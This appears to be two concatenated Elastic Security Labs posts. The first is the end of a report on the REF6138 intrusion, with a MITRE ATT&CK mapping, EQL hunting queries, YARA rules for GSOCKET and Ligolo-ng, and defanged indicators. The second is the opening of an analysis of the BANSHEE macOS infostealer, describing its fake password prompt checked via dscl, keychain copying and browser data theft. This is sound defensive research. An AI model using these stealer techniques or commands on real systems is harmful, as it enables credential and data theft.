The `hacerjugada` function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls `completarbono()` to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.
|
||||
|
||||

|
||||
|
||||
#### Understanding the `completarbono` Function
|
||||
|
||||
When a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the `enviardatos()` function.
|
||||
|
||||

|
||||
|
||||
#### Likely Used for Testing Purposes
|
||||
|
||||
It’s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.
|
||||
|
||||
## REF6138 through MITRE ATT&CK
|
||||
|
||||
Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:
|
||||
|
||||
*MITRE ATT&CK tactics, techniques and sub-techniques used*
|
||||
|
||||
| Tactic | Technique | Sub-Technique |
|
||||
|----------------------|----------------------------------------------------|------------------------------------------------------------------------------------|
|
||||
| Resource Development | T1587: Develop Capabilities | Malware |
|
||||
| | T1588: Obtain Capabilities | Tool |
|
||||
| | T1608: Stage Capabilities | Upload Malware |
|
||||
| | | Upload Tool |
|
||||
| Initial Access | T1190: Exploit Public-Facing Application | |
|
||||
| Execution | T1059: Command and Scripting Interpreter | Unix Shell |
|
||||
| | | Python |
|
||||
| | T1053: Scheduled Task/Job | Cron |
|
||||
| Persistence | T1546: Event Triggered Execution | Unix Shell Configuration Modification |
|
||||
| | T1053: Scheduled Task/Job | Cron |
|
||||
| | T1505: Server Software Component | Web Shell |
|
||||
| Privilege Escalation | T1068: Exploitation for Privilege Escalation | |
|
||||
| Defense Evasion | T1140: Deobfuscate/Decode Files or Information | |
|
||||
| | T1222: File and Directory Permissions Modification | Linux and Mac File and Directory Permissions Modification |
|
||||
| | T1564: Hide Artifacts | Hidden Files and Directories |
|
||||
| | T1070: Indicator Removal | Timestomp |
|
||||
| | T1036: Masquerading | Masquerade Task or Service |
|
||||
| | T1027: Obfuscated Files or Information | Software Packing |
|
||||
| | | Stripped Payloads |
|
||||
| | | Command Obfuscation |
|
||||
| | | Encrypted/Encoded File |
|
||||
| Discovery | T1057: Process Discovery | |
|
||||
| | T1082: System Information Discovery | |
|
||||
| | T1061: System Network Configuration Discovery | |
|
||||
| | T1049: System Network Connections Discovery | |
|
||||
| | T1007: System Service Discovery | |
|
||||
| Collection | T1119: Automated Collection | |
|
||||
| | T1005: Data from Local System | |
|
||||
| Command and Control | T1071: Application Layer Protocol | Web Protocols |
|
||||
| | T1132: Data Encoding | Standard Encoding |
|
||||
| | T1001: Data Obfuscation | |
|
||||
| | T1573: Encrypted Channel | Symmetric Cryptography |
|
||||
| | T1105: Ingress Tool Transfer | |
|
||||
| | T1571: Non-Standard Port | |
|
||||
| | T1572: Protocol Tunneling | |
|
||||
| | T1102: Web Service | |
|
||||
| Impact | T1496: Resource Hijacking | |
|
||||
|
||||
## **Detecting REF6138**
|
||||
|
||||
Elastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.
|
||||
|
||||
### Detection
|
||||
|
||||
The following detection rules were observed throughout the analysis of this intrusion set:
|
||||
|
||||
* [Segfault Detection](https://github.com/elastic/detection-rules/blob/main/rules_building_block/execution_linux_segfault.toml)
|
||||
* [Timestomping using Touch Command](https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_timestomp_touch.toml)
|
||||
* [Shell Configuration Creation or Modification](https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_configuration_modification.toml)
|
||||
* [System Binary Moved or Copied](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_binary_copied_to_suspicious_directory.toml)
|
||||
|
||||
### Prevention
|
||||
|
||||
The following behavior prevention events were observed throughout the analysis of this intrusion set:
|
||||
|
||||
* [Linux Reverse Shell via Suspicious Utility](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_reverse_shell_via_suspicious_utility.toml)
|
||||
* [Defense Evasion via Bind Mount](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_defense_evasion_via_bind_mount.toml)
|
||||
* [Linux Suspicious Child Process Execution via Interactive Shell](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_suspicious_child_process_execution_via_interactive_shell.toml)
|
||||
* [Potential Linux Hack Tool Launched](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_potential_linux_hack_tool_launched.toml)
|
||||
* [Privilege Escalation via PKEXEC Exploitation](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/privilege_escalation_privilege_escalation_via_pkexec_exploitation.toml)
|
||||
* [Potential SSH-IT SSH Worm Downloaded](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/lateral_movement_potential_ssh_it_ssh_worm_downloaded.toml)
|
||||
* [Scheduled Job Executing Binary in Unusual Location](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml)
|
||||
|
||||
The following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:
|
||||
|
||||
* [Linux.Generic.Threat](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Generic_Threat.yar)
|
||||
* [Linux.Hacktool.Flooder](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Hacktool_Flooder.yar)
|
||||
|
||||
The following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:
|
||||
|
||||
* Potential Shell via Web Server
|
||||
* Potential Web Server Code Injection
|
||||
* Potential Shell Executed by Web Server User
|
||||
* Decode Activity via Web Server
|
||||
* Linux Telegram API Request
|
||||
* Suspicious Echo Execution
|
||||
|
||||
### Hunting queries in Elastic
|
||||
|
||||
The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.
|
||||
|
||||
#### EQL queries
|
||||
|
||||
Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:
|
||||
|
||||
**Potential XMRIG Execution**
|
||||
|
||||
The following EQL query can be used to hunt for XMRIG executions within your environment.
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and (
|
||||
(
|
||||
process.args in ("-a", "--algo") and process.args in (
|
||||
"gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
|
||||
"rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
|
||||
"cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
|
||||
"cn-lite/0", "cn/0"
|
||||
)
|
||||
) or
|
||||
(
|
||||
process.args == "--coin" and process.args in ("monero", "arqma", "dero")
|
||||
)
|
||||
) and process.args in ("-o", "--url")
|
||||
```
|
||||
|
||||
**MSR Write Access Enabled**
|
||||
|
||||
XMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
|
||||
process.args == "msr" and process.args == "allow_writes=on"
|
||||
```
|
||||
|
||||
**Potential GSOCKET Activity**
|
||||
|
||||
This activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET.
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and
|
||||
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
|
||||
process.command_line : (
|
||||
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
|
||||
)
|
||||
```
|
||||
|
||||
**Potential Process Masquerading via Exec**
|
||||
|
||||
GSOCKET leverages the `exec -a` method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently.
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and
|
||||
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"
|
||||
```
|
||||
|
||||
**Renice or Ulimit Execution**
|
||||
|
||||
Several malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and (
|
||||
process.name in ("ulimit", "renice") or (
|
||||
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
|
||||
process.command_line : ("*ulimit*", "*renice*")
|
||||
)
|
||||
)
|
||||
```
|
||||
|
||||
**Inexistent Cron(d) Service Started**
|
||||
|
||||
Both KAIJI and RUDEDEVIL establish persistence through the creation of a `cron(d)` service in `/etc/init.d/cron(d)`. `Cron`, by default, does not use a `SysV Init` service. Execution of a `cron(d)` service is suspicious, and should be analyzed further.
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and
|
||||
process.name == "systemctl" and process.args == "start" and process.args in
|
||||
("cron.service", "crond.service", "cron", "crond")
|
||||
```
|
||||
|
||||
**Suspicious /etc/ Process Execution from KAIJI**
|
||||
|
||||
The `/etc/` directory is not a commonly used directory for process executions. KAIJI is known to place a binary called `32678` and `id.services.conf` in the `/etc/` directory, to establish persistence and evade detection.
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))
|
||||
```
|
||||
|
||||
**Hidden File Creation in /dev/ directory**
|
||||
|
||||
Creating hidden files in `/dev/` and `/dev/shm/` are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as `K4SPREADER` are known to drop hidden files in these locations.
|
||||
|
||||
```
|
||||
file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")
|
||||
```
|
||||
|
||||
**Suspicious Process Execution from Parent Executable in /boot/**
|
||||
|
||||
Malwares such as KAIJI and XORDDOS are known to place executable files in the `/boot/` directory, and leverage these to establish persistence while attempting to evade detection.
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"
|
||||
```
|
||||
|
||||
#### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom `Apache2` malware:
|
||||
|
||||
```
|
||||
rule Linux_Trojan_Generic {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2024-09-20"
|
||||
last_modified = "2024-09-20"
|
||||
os = "Linux"
|
||||
arch = "x86"
|
||||
threat_name = "Linux.Trojan.Generic"
|
||||
reference = "https://www.elastic.co/security-labs/betting-on-bots"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
|
||||
$enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
|
||||
$enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
|
||||
$enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
|
||||
$key = "yyyyyyyy"
|
||||
condition:
|
||||
1 of ($enc*) and $key
|
||||
}
|
||||
```
|
||||
|
||||
To detect GSOCKET, including several of its adjacent tools, we created the following signature:
|
||||
|
||||
```
|
||||
rule Multi_Hacktool_Gsocket {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2024-09-20"
|
||||
last_modified = "2024-09-23"
|
||||
os = "Linux, MacOS"
|
||||
arch = "x86"
|
||||
threat_name = "Multi.Hacktool.Gsocket"
|
||||
reference = "https://www.elastic.co/security-labs/betting-on-bots"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$str1 = "gsocket: gs_funcs not found"
|
||||
$str2 = "/share/gsocket/gs_funcs"
|
||||
$str3 = "$GSOCKET_ARGS"
|
||||
$str4 = "GSOCKET_SECRET"
|
||||
$str5 = "GS_HIJACK_PORTS"
|
||||
$str6 = "sftp -D gs-netcat"
|
||||
$str7 = "GS_NETCAT_BIN"
|
||||
$str8 = "GSOCKET_NO_GREETINGS"
|
||||
$str9 = "GS-NETCAT(1)"
|
||||
$str10 = "GSOCKET_SOCKS_IP"
|
||||
$str11 = "GSOCKET_SOCKS_PORT"
|
||||
$str12 = "gsocket(1)"
|
||||
$str13 = "gs-sftp(1)"
|
||||
$str14 = "gs-mount(1)"
|
||||
condition:
|
||||
3 of them
|
||||
}
|
||||
```
|
||||
|
||||
Finally, the following signature was written to detect the [open source Ligolo-ng tool](https://github.com/nicocha30/ligolo-ng), as we have reason to believe this tool was used during this intrusion.
|
||||
|
||||
|
||||
```
|
||||
rule Linux_Hacktool_LigoloNG {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2024-09-20"
|
||||
last_modified = "2024-09-20"
|
||||
os = "Linux"
|
||||
arch = "x86"
|
||||
threat_name = "Linux.Hacktool.LigoloNG"
|
||||
reference = "https://www.elastic.co/security-labs/betting-on-bots"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$a = "https://github.com/nicocha30/ligolo-ng"
|
||||
$b = "@Nicocha30!"
|
||||
$c = "Ligolo-ng %s / %s / %s"
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
```
|
||||
|
||||
### Defensive recommendations
|
||||
|
||||
To effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:
|
||||
|
||||
1. **Keep Your Elastic Detection Rules Updated and Enabled**: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.
|
||||
2. **Enable Prevention Mode in Elastic Defend**: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.
|
||||
3. **Monitor Alerts and Logs**: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.
|
||||
4. **Conduct Threat Hunting**: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.
|
||||
5. **Implement Web Application Firewalls (WAFs)**: Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.
|
||||
6. **Enforce Strong Authentication for SSH**: Use public/private key authentication for SSH access to protect against brute force attacks.
|
||||
7. **Write Secure Code**: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.
|
||||
8. **Regularly Patch and Update Systems**: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.
|
||||
|
||||
By following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.
|
||||
|
||||
## Observations
|
||||
|
||||
The following observables were discussed in this research. These are available for download in STIX or ECS format [here](https://github.com/elastic/labs-releases/tree/main/indicators/ref6138).
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
|-------------------------------------------------------------------------------------------------|-------------|------------------------|------------------------------------|
|
||||
| 72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f | SHA-256 | SystemdXC | XMRIG |
|
||||
| 82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684 | SHA-256 | apache2 | apache2_unpacked |
|
||||
| 0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd | SHA-256 | apache2_upx_packed | apache2_upx_packed |
|
||||
| 9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e | SHA-256 | download.sh | KAIJI Stager |
|
||||
| 1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79 | SHA-256 | linux_386 | KAIJI x86 |
|
||||
| d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8 | SHA-256 | linux_amd64 | KAIJI x64 |
|
||||
| ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b | SHA-256 | linux_arm5 | KAIJI ARM5 |
|
||||
| 792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6 | SHA-256 | linux_arm6 | KAIJI ARM6 |
|
||||
| e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4 | SHA-256 | linux_arm64 | KAIJI ARM64 |
|
||||
| 3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745 | SHA-256 | linux_arm7 | KAIJI ARM7 |
|
||||
| fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0 | SHA-256 | linux_mips | KAIJI MIPS |
|
||||
| 6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55 | SHA-256 | linux_mips64 | KAIJI MIPS64 |
|
||||
| 0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814 | SHA-256 | linux_mips64el | KAIJI MIPS64 little-endian |
|
||||
| 310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988 | SHA-256 | linux_mips_softfloat | KAIJI MIPS softfloat |
|
||||
| 0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527 | SHA-256 | linux_mipsel | KAIJI MIPS little-endian |
|
||||
| 36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196 | SHA-256 | linux_mipsel_softfloat | KAIJI MIPS little-endian softfloat |
|
||||
| 3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f | SHA-256 | linux_ppc64 | KAIJI PPC64 |
|
||||
| 7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7 | SHA-256 | linux_ppc64el | KAIJI PPC64 little-endian |
|
||||
| 09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7 | SHA-256 | l64_v0 | RUDEDEVIL/LUFICER x64 version 0 |
|
||||
| ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46 | SHA-256 | l64_v1 | RUDEDEVIL/LUFICER x64 version 1 |
|
||||
| 160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a | SHA-256 | l64_v2 | RUDEDEVIL/LUFICER x64 version 2 |
|
||||
| 89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055 | SHA-256 | l64_v3 | RUDEDEVIL/LUFICER x64 version 3 |
|
||||
| 20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b | SHA-256 | l86_v0 | RUDEDEVIL/LUFICER x86 version 0 |
|
||||
| 728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c | SHA-256 | l86_v1 | RUDEDEVIL/LUFICER x86 version 1 |
|
||||
| 47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40 | SHA-256 | l86_v2 | RUDEDEVIL/LUFICER x86 version 2 |
|
||||
| e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5 | SHA-256 | l86_v3 | RUDEDEVIL/LUFICER x86 version 3 |
|
||||
| d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60 | SHA-256 | hjvhg.exe | Miner |
|
||||
| 54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de | SHA-256 | mvhhvcp3.exe | DONUT LOADER |
|
||||
| 9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976 | SHA-256 | vdfgb.exe | Miner |
|
||||
| http://gcp.pagaelrescate[.]com:8080/ifindyou | url | ifindyou.sh | Stage 1 |
|
||||
| http://gcp.pagaelrescate[.]com:8080/cycnet | url | cycnet.sh | Stage 2 |
|
||||
| http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | url | Enviador_slot.py | Stage 3 |
|
||||
| http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC | url | SystemdXC | XMRIG |
|
||||
| http://38.54.125[.]192:8080/nginx-rc | url | nginx-rc | LIGOLO-NG |
|
||||
| http://62.72.22[.]91/apache2 | url | apache2 | Custom Malware |
|
||||
| http://62.72.22[.]91/apache2v86 | url | apache2v86 | Custom Malware |
|
||||
| http://91.92.241[.]103:8002/gk.php | url | gk.php | PHP Backdoor |
|
||||
| http://hfs.t1linux[.]com:7845/scdsshfk | url | scdsshfk | XMRIG |
|
||||
| gcp.pagaelrescate[.]com | domain-name | | REF Hosting domain |
|
||||
| nishabii[.]xyz | domain-name | | RUDEDEVIL C2 |
|
||||
| 3.147.53[.]183 | ipv4-addr | | Python Reverse Shell C2 |
|
||||
| 38.54.125[.]192 | ipv4-addr | | C2 Server |
|
||||
| 107.178.101[.]245 | ipv4-addr | | Malware File Server (Rejetto) |
|
||||
| 62.72.22[.]91 | ipv4-addr | | Server Hosting Malware |
|
||||
| 91.92.241[.]103 | ipv4-addr | | C2 Server |
|
||||
| 61.160.194[.]160 | ipv4-addr | | Server Hosting Malware |
|
||||
| 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL | XMR Wallet | | RUDEDEVIL/LUFICER mining wallet |
|
||||
| 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc | XMR Wallet | | RUDEDEVIL/LUFICER mining wallet |
|
||||
| 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz | BTC Wallet | | XMRIG mining wallet |
|
||||
|
||||
## References
|
||||
|
||||
The following were referenced throughout the above research:
|
||||
|
||||
* [https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html](https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html)
|
||||
* [https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/](https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/)
|
||||
* [https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities](https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities)
|
||||
* [https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/](https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/)
|
||||
* [https://github.com/hackerschoice/gsocket](https://github.com/hackerschoice/gsocket)
|
|
@ -0,0 +1,187 @@
|
|||
---
|
||||
title: "Beyond the wail: deconstructing the BANSHEE infostealer"
|
||||
slug: "beyond-the-wail"
|
||||
date: "2024-08-15"
|
||||
description: "The BANSHEE malware is a macOS-based infostealer that targets system information, browser data, and cryptocurrency wallets."
|
||||
author:
|
||||
- slug: elastic-security-labs
|
||||
image: "beyond-the-wail.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- macos
|
||||
- infostealer
|
||||
- BANSHEE
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
In August 2024, a novel macOS malware named "BANSHEE Stealer" emerged, catching the attention of the cybersecurity community. Reportedly developed by Russian threat actors, BANSHEE Stealer was introduced on an underground forum and is designed to function across both macOS x86_64 and ARM64 architectures.
|
||||
|
||||
This malware presents a severe risk to macOS users, targeting vital system information, browser data, and cryptocurrency wallets.
|
||||
|
||||
With a steep monthly subscription price of $3,000, BANSHEE Stealer stands out in the market, particularly compared to known stealers like AgentTesla.
|
||||
|
||||
As macOS increasingly becomes a prime target for cybercriminals, BANSHEE Stealer underscores the rising observance of macOS-specific malware. This analysis explores the technical details of BANSHEE Stealer, aiming to help the community understand its impact and stay informed about emerging threats.
|
||||
|
||||
|
||||

|
||||
|
||||
## Key takeaways
|
||||
|
||||
* BANSHEE Stealer highlights the growing number of macOS malware samples as the OS becomes a more attractive target for cyber threats.
|
||||
* BANSHEE Stealer's $3,000 monthly price is notably high compared to Windows-based stealers.
|
||||
* BANSHEE Stealer targets a wide range of browsers, cryptocurrency wallets, and around 100 browser extensions, making it a highly versatile and dangerous threat.
|
||||
|
||||
## Malware Analysis
|
||||
|
||||
The malware we analyzed in this research contained all the C++ symbols, which is interesting as we can guess the project's code structure by knowing these source code file names, as seen in the picture below. Looking into the C++-generated global variable initialization functions, we can find values set automatically/manually by the user during the build process, like the remote IP, encryption key, build ID, etc.
|
||||
|
||||

|
||||
|
||||
The following table summarizes the leaked `.cpp` file names through the symbols in the binary.
|
||||
|
||||
| File name | Description |
|
||||
|----------------|----------------------------------------------------------------------------------------------------------------------|
|
||||
| `Controller.cpp` | Manages core execution tasks, including anti-debugging measures, language checks, data collection, and exfiltration. |
|
||||
| `Browsers.cpp` | Handles the collection of data from various web browsers. |
|
||||
| `System.cpp` | Executes AppleScripts to gather system information and perform password phishing. |
|
||||
| `Tools.cpp` | Provides utility functions for encryption, directory creation, and compression etc. |
|
||||
| `Wallets.cpp` | Responsible for collecting data from cryptocurrency wallets. |
|
||||
|
||||
### Debugger, VM Detection, and Language Checks
|
||||
|
||||

|
||||
|
||||
BANSHEE Stealer uses basic techniques to evade detection. It detects debugging by utilizing the [sysctl](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/sysctl.3.html) API.
|
||||
|
||||

|
||||
|
||||
For virtualization detection, it runs the command `system_profiler SPHardwareDataType | grep 'Model Identifier'` to determine whether the string `Virtual` appears in the hardware model identifier, which suggests a virtual machine. These methods are relatively simple and can be easily circumvented by advanced sandboxes and malware analysts.
|
||||
|
||||

|
||||
|
||||
Additionally, It parses the user-preferred canonicalized language returned from the [CFLocaleCopyPreferredLanguages ](https://developer.apple.com/documentation/corefoundation/1542887-cflocalecopypreferredlanguages) API and looks for the string `ru`. This tactic helps the malware avoid infecting systems where Russian is the primary language.
|
||||
|
||||
### System information collection
|
||||
|
||||
#### User password
|
||||
|
||||
The malware creates an [Osascript](https://ss64.com/mac/osascript.html) password prompt with a dialog saying that to launch the application, you need to update the system settings. Please enter your password.
|
||||
|
||||
When the user enters the password, it will be validated using the [dscl](https://ss64.com/mac/dscl.html) command by running `dscl Local/Default -authonly <username> <password>`
|
||||
|
||||
If valid, the password will be written to the following file `/Users/<username>/password-entered`.
|
||||
|
||||

|
||||
|
||||
These credentials can be leveraged to decrypt the keychain data stored on the system, granting access to all saved passwords.
|
||||
|
||||
#### File, software, and hardware information collection
|
||||
|
||||
The function `System::collectSystemInfo` collects system information and serializes it in a JSON object. It executes the command `system_profiler SPSoftware DataType SPHardwareDataType`, which provides details about the system’s software and hardware. It gets the machine's public IP by requesting it from `freeipapi.com` through the built-in macOS `cURL` command.
|
||||
|
||||
The JSON file will be saved under `<temporary_path>/system_info.json`
|
||||
|
||||
BANSHEE stealer executes AppleScripts; interestingly, it writes the AppleScripts to the same file `/tmp/tempAppleScript`.
|
||||
|
||||
The first script to be executed first mutes the system sound with `osascript -e 'set volume with output muted'` command. It then collects various files from the system, which are listed below:
|
||||
|
||||
* Safari cookies
|
||||
* Notes database
|
||||
* Files with the following extensions `.txt`, `.docx`, `.rtf`, `.doc`, `.wallet`, `.keys`, or `.key` from the Desktop and Documents folders.
|
||||
|
||||
#### Dump keychain passwords
|
||||
|
||||
It copies the keychain of the system `/Library/Keychains/login.keychain-db` to `<temporary_path>/Passwords`
|
||||
|
||||
### Browser collection
|
||||
|
||||
BANSHEE collects data from 9 different browsers currently, including browser history, cookies, logins, etc:
|
||||
|
||||
* Chrome
|
||||
* Firefox
|
||||
* Brave
|
||||
* Edge
|
||||
* Vivaldi
|
||||
* Yandex
|
||||
* Opera
|
||||
* OperaGX
|
||||
|
||||
Regarding Safari, only the cookies are collected by the AppleScript script for the current version.
|
||||
|
||||

|
||||
|
||||
Additionally, data from approximately 100 browser plugins are collected from the machine. A list of these extension IDs is provided at the end of the blog post.
|
||||
|
||||
The collected files are saved under `<temporary_path>/Browsers`.
|
||||
|
||||
### Wallet collection
|
||||
|
||||
* Exodus
|
||||
* Electrum
|
||||
* Coinomi
|
||||
* Guarda
